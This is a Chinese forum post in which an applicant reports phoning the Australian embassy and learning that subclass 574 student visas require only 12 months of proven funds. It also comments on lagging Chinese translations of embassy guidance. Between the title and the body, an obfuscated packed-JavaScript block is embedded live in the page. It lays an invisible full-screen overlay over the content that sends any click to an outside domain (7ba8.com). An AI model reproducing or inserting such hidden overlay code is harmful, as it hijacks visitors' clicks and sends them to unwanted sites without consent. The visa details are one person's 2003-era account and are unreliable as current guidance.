特大喜讯,574类只需提供12个月的资金担保!

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>前几天跟阿德雷德使馆打通电话,确认了我看austemb.org.cn看的英文版的文件清单的疑问。清单最后一句:
The designated period under subclasses 571 and 573 is the lesser of 3 years and the full period of the proposed courses of study. The designated period under subclass 574 is 12 months.
这里说574类的是designated period是12月 ,而且对于贷款的还款期限是:
in-principle approval for a “student loan” for a specified amount and with a term covering at least the designated period.
由此,我打通了那个国际长途,说了疑问:是不是574类的只提供一年的资金担保?就我来说,2.5得硕士课程,只提供第一年的就符合要求了?
那个operater立即说right,我又问了一下,她说她在确认一下,我就开始欣赏那美丽的音乐旋律了,大概听了5分钟,她情绪非常愉快的说:under subclass 574,you have to provide funds need for 12 months.然后,我还不敢相信,非常兴奋的问她,my proposed period of study is 2.5 years, you mean i don't have to provide funds need for all the 2.5 years?她说,right,the funds you need provide is for 12months.
我又说,在Student Visas FAQ里,关于资金的最后一个问题   20. When can I repay my student loan?回答有这样的话,the student loan should cover the entire period of study,这样我很迷惑。她说了一句很快的语言,我没听懂,然后说,the designated period for subclass 574 is 12 months, only 12 months.
然后她就很耐心的听我诉苦,本来拿到会计专业最棒的麦考瑞的offer,但由于汇率狂涨,我就换成了monash得offer地的申请,现在只提供一年的担保,我又可以换回麦大了!她很同情的高兴的告诉我,yes,if u like ,you have to provide your name,your date of birth......啊,差点说i love you!怕吓着她,还是说:that's really great!
如果大家以前有看过英文版的FAQ那最后一题的回答,会发现现在的最后一题的回答已经变了,回答的话语适合那个咨询officer说的一样了。我打电话的前一天都写的是entire period of study,第二天上午打了电话,下午我再上网看时,发现作了那样的修改。
通过这次新清单的修改,我发现,中文的清单及常见问题解答是完全依英文的生翻的,其翻译在表达政策的本意上有待商榷。而且中文的比英文的更新要慢。不说FAQ问题回答的英文已经更新,而中文的仍然没变;单看文件清单上的发布日期,英文的是22/10/2003,中文的是23/10/2003。
希望我做的这些也能给同路人一些帮助。
联系人:
联系方式:
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部